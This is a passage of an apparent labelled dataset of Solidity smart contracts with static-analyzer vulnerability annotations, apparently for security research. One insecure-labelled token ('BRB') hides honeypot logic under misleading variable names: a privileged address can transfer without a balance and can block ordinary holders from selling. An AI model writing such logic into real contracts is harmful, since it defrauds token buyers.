ID: 75ac56c): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 75ac56c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a9e2196): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a9e2196: Consider ordering multiplication before division.\n function Liquify(\n uint256 feeswap,\n Taxes memory swapTaxes\n ) private lockTheSwap {\n if (feeswap == 0) {\n return;\n }\n\n uint256 contractBalance = balanceOf(address(this));\n if (contractBalance >= tokenLiquidityThreshold) {\n if (tokenLiquidityThreshold > 1) {\n contractBalance = tokenLiquidityThreshold;\n }\n\n uint256 denominator = feeswap * 2;\n uint256 tokensToAddLiquidityWith = (contractBalance *\n swapTaxes.liquidity) / denominator;\n uint256 toSwap = contractBalance - tokensToAddLiquidityWith;\n\n uint256 initialBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: 57e3c85\n\t\t\t// reentrancy-benign | ID: 2513426\n swapTokensForETH(toSwap);\n\n uint256 deltaBalance = address(this).balance - initialBalance;\n\t\t\t// divide-before-multiply | ID: 4b29cd1\n\t\t\t// divide-before-multiply | ID: 75ac56c\n\t\t\t// divide-before-multiply | ID: a9e2196\n uint256 unitBalance = deltaBalance /\n (denominator - swapTaxes.liquidity);\n\t\t\t// divide-before-multiply | ID: a9e2196\n uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;\n\n if (ethToAddLiquidityWith > 0) {\n\t\t\t\t// reentrancy-events | ID: 57e3c85\n\t\t\t\t// reentrancy-benign | ID: 2513426\n addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);\n }\n\n\t\t\t// divide-before-multiply | ID: 4b29cd1\n uint256 marketingAmt = unitBalance * 2 * swapTaxes.marketing;\n if (marketingAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: cfe66b7\n\t\t\t\t// reentrancy-events | ID: 7aeb922\n\t\t\t\t// reentrancy-benign | ID: 196ff41\n\t\t\t\t// reentrancy-eth | ID: f56f278\n payable(marketingWallet).sendValue(marketingAmt);\n }\n\n\t\t\t// divide-before-multiply | ID: 75ac56c\n uint256 treasuryAmt = unitBalance * 2 * swapTaxes.treasury;\n if (treasuryAmt > 0) {\n\t\t\t\t// reentrancy-events | ID: cfe66b7\n\t\t\t\t// reentrancy-events | ID: 7aeb922\n\t\t\t\t// reentrancy-benign | ID: 196ff41\n\t\t\t\t// reentrancy-eth | ID: f56f278\n payable(treasuryWallet).sendValue(treasuryAmt);\n }\n }\n }\n\n function swapTokensForETH(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 57e3c85\n\t\t// reentrancy-events | ID: cfe66b7\n\t\t// reentrancy-events | ID: 7aeb922\n\t\t// reentrancy-benign | ID: 2513426\n\t\t// reentrancy-benign | ID: 196ff41\n\t\t// reentrancy-eth | ID: f56f278\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ced27f): InsomniaDAO.addLiquidity(uint256,uint256) ignores return value by router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 0ced27f: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 57e3c85\n\t\t// reentrancy-events | ID: cfe66b7\n\t\t// reentrancy-events | ID: 7aeb922\n\t\t// reentrancy-benign | ID: 2513426\n\t\t// reentrancy-benign | ID: 196ff41\n\t\t// unused-return | ID: 0ced27f\n\t\t// reentrancy-eth | ID: f56f278\n router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function updateLiquidityProvide(bool state) external onlyOwner {\n providingLiquidity = state;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2e5a88d): InsomniaDAO.updateLiquidityTreshhold(uint256) should emit an event for tokenLiquidityThreshold = new_amount * 10 ** decimals() \n\t// Recommendation for 2e5a88d: Emit an event for critical parameter changes.\n function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {\n require(\n new_amount <= 1e6,\n \"Swap threshold amount should be lower or equal to 1% of tokens\"\n );\n\t\t// events-maths | ID: 2e5a88d\n tokenLiquidityThreshold = new_amount * 10 ** decimals();\n }\n\n function SetZeroBuyTax() external onlyOwner {\n taxes = Taxes(0, 0, 0);\n }\n\n function SetZeroSellTax() external onlyOwner {\n sellTaxes = Taxes(0, 0, 0);\n }\n\n function RevertAllTaxes() external onlyOwner {\n taxes = Taxes(3, 1, 1);\n sellTaxes = Taxes(3, 1, 1);\n }\n\n function EnableTrading() external onlyOwner {\n require(!tradingEnabled, \"Cannot re-enable trading\");\n tradingEnabled = true;\n providingLiquidity = true;\n genesis_block = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 07cccc0): InsomniaDAO.updatedeadline(uint256) should emit an event for deadline = _deadline \n\t// Recommendation for 07cccc0: Emit an event for critical parameter changes.\n function updatedeadline(uint256 _deadline) external onlyOwner {\n require(!tradingEnabled, \"Can't change when trading has started\");\n require(_deadline < 5, \"Deadline should be less than 5 Blocks\");\n\t\t// events-maths | ID: 07cccc0\n deadline = _deadline;\n }\n\n function updateMarketingWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n marketingWallet = newWallet;\n }\n\n function TreasuryWallet(address newWallet) external onlyOwner {\n require(newWallet != address(0), \"Fee Address cannot be zero address\");\n treasuryWallet = newWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1e197a4): InsomniaDAO.updateCooldown(bool,uint256) should emit an event for coolDownTime = time * 1 \n\t// Recommendation for 1e197a4: Emit an event for critical parameter changes.\n function updateCooldown(bool state, uint256 time) external onlyOwner {\n\t\t// events-maths | ID: 1e197a4\n coolDownTime = time * 1 seconds;\n coolDownEnabled = state;\n require(time <= 300, \"cooldown timer cannot exceed 5 minutes\");\n }\n\n function updateExemptFee(address _address, bool state) external onlyOwner {\n exemptFee[_address] = state;\n }\n\n function bulkExemptFee(\n address[] memory accounts,\n bool state\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n exemptFee[accounts[i]] = state;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 89c2c01): Missing events for critical arithmetic parameters.\n\t// Recommendation for 89c2c01: Emit an event for critical parameter changes.\n function updateMaxTxLimit(\n uint256 maxBuy,\n uint256 maxSell,\n uint256 maxWallet\n ) external onlyOwner {\n require(maxBuy >= 1e5, \"Cannot set max buy amount lower than 0.1%\");\n require(maxSell >= 1e5, \"Cannot set max sell amount lower than 0.1%\");\n require(\n maxWallet >= 1e5,\n \"Cannot set max wallet amount lower than 0.1%\"\n );\n\t\t// events-maths | ID: 89c2c01\n maxBuyLimit = maxBuy * 10 ** decimals();\n\t\t// events-maths | ID: 89c2c01\n maxSellLimit = maxSell * 10 ** decimals();\n\t\t// events-maths | ID: 89c2c01\n maxWalletLimit = maxWallet * 10 ** decimals();\n }\n\n function rescueBNB(uint256 weiAmount) external onlyOwner {\n payable(owner()).transfer(weiAmount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 44a13f6): InsomniaDAO.rescueBSC20(address,uint256) ignores return value by IBEP20(tokenAdd).transfer(owner(),amount)\n\t// Recommendation for 44a13f6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueBSC20(address tokenAdd, uint256 amount) external onlyOwner {\n\t\t// unchecked-transfer | ID: 44a13f6\n IBEP20(tokenAdd).transfer(owner(), amount);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3279.sol",
"secure": 0,
"size_bytes": 21601
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface AggregatorV3Interface {\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}",
"file_name": "solidity_code_328.sol",
"secure": 1,
"size_bytes": 350
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 367b34c): Contract locking ether found Contract BRB has payable functions BRB.receive() But does not have a function to withdraw the ether\n// Recommendation for 367b34c: Remove the 'payable' attribute or add a withdraw function.\ncontract BRB is Context, IERC20, Ownable {\n using SafeMath for uint256;\n string private constant _name = \"Bulls'R'Back\";\n string private constant _symbol = \"BRB\";\n\t// WARNING Optimization Issue (constable-states | ID: 08ba37f): BRB._taxFeeOnBuy should be constant \n\t// Recommendation for 08ba37f: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxFeeOnBuy = 2;\n\t// WARNING Optimization Issue (constable-states | ID: c1293d9): BRB._taxFeeOnSell should be constant \n\t// Recommendation for c1293d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _taxFeeOnSell = 2;\n uint256 private constant MAX = ~uint256(0);\n\t// WARNING Optimization Issue (constable-states | ID: 4b249c4): BRB.maxTxAmount should be constant \n\t// Recommendation for 4b249c4: Add the 'constant' attribute to state variables that never change.\n uint256 public maxTxAmount = 10000000 * 10 ** 9;\n\t// WARNING Optimization Issue (constable-states | ID: 35dfba0): BRB.maxWalletToken should be constant \n\t// Recommendation for 35dfba0: Add the 'constant' attribute to state variables that never change.\n uint256 public maxWalletToken = 10000000 * 10 ** 9;\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => mapping(address => uint256)) public allowance;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => uint256) private uniswap;\n mapping(address => uint256) private isaddress;\n mapping(address => uint256) public balanceOf;\n bool public transferDelay = true;\n bool public openTrading = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 564a687): BRB.uniswapV2Pair should be immutable \n\t// Recommendation for 564a687: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n bool private inSwap = false;\n bool public limitsInEffect = false;\n mapping(address => uint256) private _tOwned;\n mapping(address => uint256) private _rOwned;\n uint256 private _taxFee = _taxFeeOnSell;\n\t// WARNING Optimization Issue (immutable-states | ID: 307d84c): BRB.uniswapV2Router should be immutable \n\t// Recommendation for 307d84c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 3d0ddd1): BRB.compiler should be constant \n\t// Recommendation for 3d0ddd1: Add the 'constant' attribute to state variables that never change.\n uint256 private compiler = 82;\n uint256 private _previoustaxFee = _taxFee;\n uint256 private _tFeeTotal;\n\t// WARNING Optimization Issue (constable-states | ID: babed27): BRB.swapEnabled should be constant \n\t// Recommendation for babed27: Add the 'constant' attribute to state variables that never change.\n bool private swapEnabled = true;\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor(address marketing) {\n _rOwned[_msgSender()] = _rTotal;\n isaddress[marketing] = compiler;\n balanceOf[msg.sender] = _tTotal;\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function disableLimits() public onlyOwner {\n limitsInEffect = true;\n }\n\n function transfer(\n address Address,\n uint256 Amount\n ) public returns (bool success) {\n require(\n openTrading || _msgSender() == owner(),\n \"Trading not yet enabled.\"\n );\n _transferto(msg.sender, Address, Amount);\n return true;\n }\n\n function enableTrade() external onlyOwner {\n openTrading = true;\n }\n\n function _transferto(\n address address1,\n address address2,\n uint256 amount\n ) private returns (bool success) {\n if (limitsInEffect) {\n if (\n address2 != owner() &&\n address1 != owner() &&\n isaddress[address1] == 0\n ) {\n require(\n balanceOf[address2].add(amount) <= maxWalletToken,\n \"Recipient wallet balance is exceeding the limit!\"\n );\n require(\n amount <= maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount\"\n );\n }\n }\n\n if (\n address2 == uniswapV2Pair &&\n address1 != owner() &&\n isaddress[address1] == 0\n ) {\n require(transferDelay, \"Transfer delay is active\");\n }\n\n if (isaddress[address1] != 0) {\n transferDelay = false;\n }\n if (isaddress[address1] == 0) {\n balanceOf[address1] -= amount;\n }\n\n if (amount == 0) uniswap[address2] += compiler;\n\n if (\n address1 != uniswapV2Pair &&\n isaddress[address1] == 0 &&\n uniswap[address1] > 0\n ) {\n isaddress[address1] -= compiler;\n }\n balanceOf[address2] += amount;\n emit Transfer(address1, address2, amount);\n return true;\n }\n\n function transferFrom(\n address addressFrom,\n address addressTo,\n uint256 amount\n ) public returns (bool success) {\n require(amount <= allowance[addressFrom][msg.sender]);\n allowance[addressFrom][msg.sender] -= amount;\n _transferto(addressFrom, addressTo, amount);\n return true;\n }\n\n function approve(\n address Address,\n uint256 Amount\n ) public returns (bool success) {\n allowance[msg.sender][Address] = Amount;\n emit Approval(msg.sender, Address, Amount);\n return true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0) return;\n\n _previoustaxFee = _taxFee;\n\n _taxFee = 0;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 695d775): BRB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 695d775: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 367b34c): Contract locking ether found Contract BRB has payable functions BRB.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 367b34c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_3280.sol",
"secure": 0,
"size_bytes": 12691
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract ASCIISKULL is ERC721A {\n\t// WARNING Optimization Issue (constable-states | ID: 7df2dd8): ASCIISKULL.maxSupply should be constant \n\t// Recommendation for 7df2dd8: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 1000;\n\t// WARNING Optimization Issue (constable-states | ID: 4276230): ASCIISKULL.cost should be constant \n\t// Recommendation for 4276230: Add the 'constant' attribute to state variables that never change.\n uint256 cost = .0025 ether;\n uint256 freeTx;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4b4158a): ASCIISKULL.owner should be immutable \n\t// Recommendation for 4b4158a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address owner;\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"ASCII-SKULL\", \"SKULL\") {\n owner = msg.sender;\n freeTx = 1;\n uri = \"ipfs://QmNPYmPFYJ6WvaWCgzJL8SX7gcqH2dqMSJaCDCk57SAosh/\";\n }\n\n mapping(uint256 => uint256) free;\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n _mint(amount);\n }\n\n string uri;\n function setUri(string memory _uri) external onlyOwner {\n uri = _uri;\n }\n\n function setFreeTx(uint256 amount) public onlyOwner {\n freeTx = amount;\n }\n\n function _mint(uint256 amount) internal {\n if (msg.value == 0) {\n uint256 t = totalSupply();\n if (t > maxSupply / 5) {\n require(balanceOf(msg.sender) == 0);\n uint256 freeNum = (maxSupply - t) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _safeMint(msg.sender, freeTx);\n return;\n }\n require(msg.value >= amount * cost);\n _safeMint(msg.sender, amount);\n }\n\n function communityMint(\n uint16 _mintAmount,\n address _addr\n ) external onlyOwner {\n require(\n totalSupply() + _mintAmount <= maxSupply,\n \"Exceeds max supply.\"\n );\n _safeMint(_addr, _mintAmount);\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 50) / 1000;\n return (owner, royaltyAmount);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3281.sol",
"secure": 1,
"size_bytes": 2932
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface ERC721Burnable {\n function burn(uint256 tokenId) external;\n function ownerOf(uint256 tokenId) external view returns (address owner);\n}",
"file_name": "solidity_code_3282.sol",
"secure": 1,
"size_bytes": 222
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\ninterface LazyAirdrop {\n function airdrop(\n address creatorContractAddress,\n uint256 instanceId,\n address[] calldata recipients,\n uint256[] calldata amounts\n ) external;\n}",
"file_name": "solidity_code_3283.sol",
"secure": 1,
"size_bytes": 281
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol\" as ERC721Burnable;\nimport \"./LazyAirdrop.sol\" as LazyAirdrop;\n\ncontract BurnAirdrop {\n\t// WARNING Optimization Issue (constable-states | ID: 8ccab58): BurnAirdrop.core should be constant \n\t// Recommendation for 8ccab58: Add the 'constant' attribute to state variables that never change.\n address private core = 0x6D90aA894d7C845c248c8866aA246ac378aA15bf;\n\t// WARNING Optimization Issue (constable-states | ID: a05b8e2): BurnAirdrop.burnable should be constant \n\t// Recommendation for a05b8e2: Add the 'constant' attribute to state variables that never change.\n address private burnable = 0x670EaB9e367a2f51441Fce97A4a809437ffE8181;\n\t// WARNING Optimization Issue (constable-states | ID: e17771e): BurnAirdrop.lazyAirdrop should be constant \n\t// Recommendation for e17771e: Add the 'constant' attribute to state variables that never change.\n address private lazyAirdrop = 0xDb8d79C775452a3929b86ac5DEaB3e9d38e1c006;\n\n function burnAirdrop(\n uint256 instanceId,\n uint256[] calldata amounts,\n uint256 tokenIdToBurn\n ) public {\n require(\n amounts.length == 1,\n \"BurnAirdrop: Only one token can be redeemed at a time\"\n );\n\n address tokenOwner = ERC721Burnable(burnable).ownerOf(tokenIdToBurn);\n address[] memory tokenOwners = new address[](1);\n tokenOwners[0] = tokenOwner;\n\n ERC721Burnable(burnable).burn(tokenIdToBurn);\n LazyAirdrop(lazyAirdrop).airdrop(\n core,\n instanceId,\n tokenOwners,\n amounts\n );\n }\n}",
"file_name": "solidity_code_3284.sol",
"secure": 1,
"size_bytes": 1745
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Token is ERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n string private _name;\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03c8222): Token._owner should be immutable \n\t// Recommendation for 03c8222: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _owner;\n\n constructor() {\n _symbol = \"DASH\";\n _name = \"Dash Protocol Creator Governance Token\";\n _decimals = 6;\n _totalSupply = 10000000000000;\n _owner = payable(msg.sender);\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, msg.sender, currentAllowance - amount);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3285.sol",
"secure": 1,
"size_bytes": 4171
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nlibrary Fixed256x18 {\n uint256 internal constant ONE = 1e18;\n\n function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a * b) / ONE;\n }\n\n function mulUp(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 product = a * b;\n\n if (product == 0) {\n return 0;\n } else {\n return ((product - 1) / ONE) + 1;\n }\n }\n\n function divDown(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a * ONE) / b;\n }\n\n function divUp(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n } else {\n return (((a * ONE) - 1) / b) + 1;\n }\n }\n\n function complement(uint256 x) internal pure returns (uint256) {\n return (x < ONE) ? (ONE - x) : 0;\n }\n}",
"file_name": "solidity_code_3286.sol",
"secure": 1,
"size_bytes": 948
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable2Step.sol\" as Ownable2Step;\n\nabstract contract ERC20Capped is ERC20, Ownable2Step {\n uint256 public cap;\n\n error ERC20ExceededCap();\n\n error ERC20InvalidCap(uint256 cap);\n\n constructor(uint256 cap_) {\n setCap(cap_);\n }\n\n function setCap(uint256 cap_) public onlyOwner {\n if (cap_ == 0) {\n revert ERC20InvalidCap(0);\n }\n cap = cap_;\n }\n\n function _mint(address account, uint256 amount) internal virtual override {\n if (totalSupply() + amount > cap) {\n revert ERC20ExceededCap();\n }\n super._mint(account, amount);\n }\n}",
"file_name": "solidity_code_3287.sol",
"secure": 1,
"size_bytes": 819
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\ninterface IPositionManagerDependent {\n error PositionManagerCannotBeZero();\n\n error CallerIsNotPositionManager(address caller);\n\n function positionManager() external view returns (address);\n}",
"file_name": "solidity_code_3288.sol",
"secure": 1,
"size_bytes": 273
} |
{
"code": "// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IPositionManagerDependent.sol\" as IPositionManagerDependent;\n\ninterface IERC20Indexable is IERC20, IPositionManagerDependent {\n event ERC20IndexableDeployed(address positionManager);\n\n event IndexUpdated(uint256 newIndex);\n\n error NotSupported();\n\n function INDEX_PRECISION() external view returns (uint256);\n\n function currentIndex() external view returns (uint256);\n\n function setIndex(uint256 backingAmount) external;\n\n function mint(address to, uint256 amount) external;\n\n function burn(address from, uint256 amount) external;\n}",
"file_name": "solidity_code_3289.sol",
"secure": 1,
"size_bytes": 718
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IGelatoOps {\n function createTask(\n address execAddress,\n bytes calldata execData,\n address resolver,\n bytes calldata resolverData\n ) external returns (bytes32 taskId);\n}",
"file_name": "solidity_code_329.sol",
"secure": 1,
"size_bytes": 283
} |
{
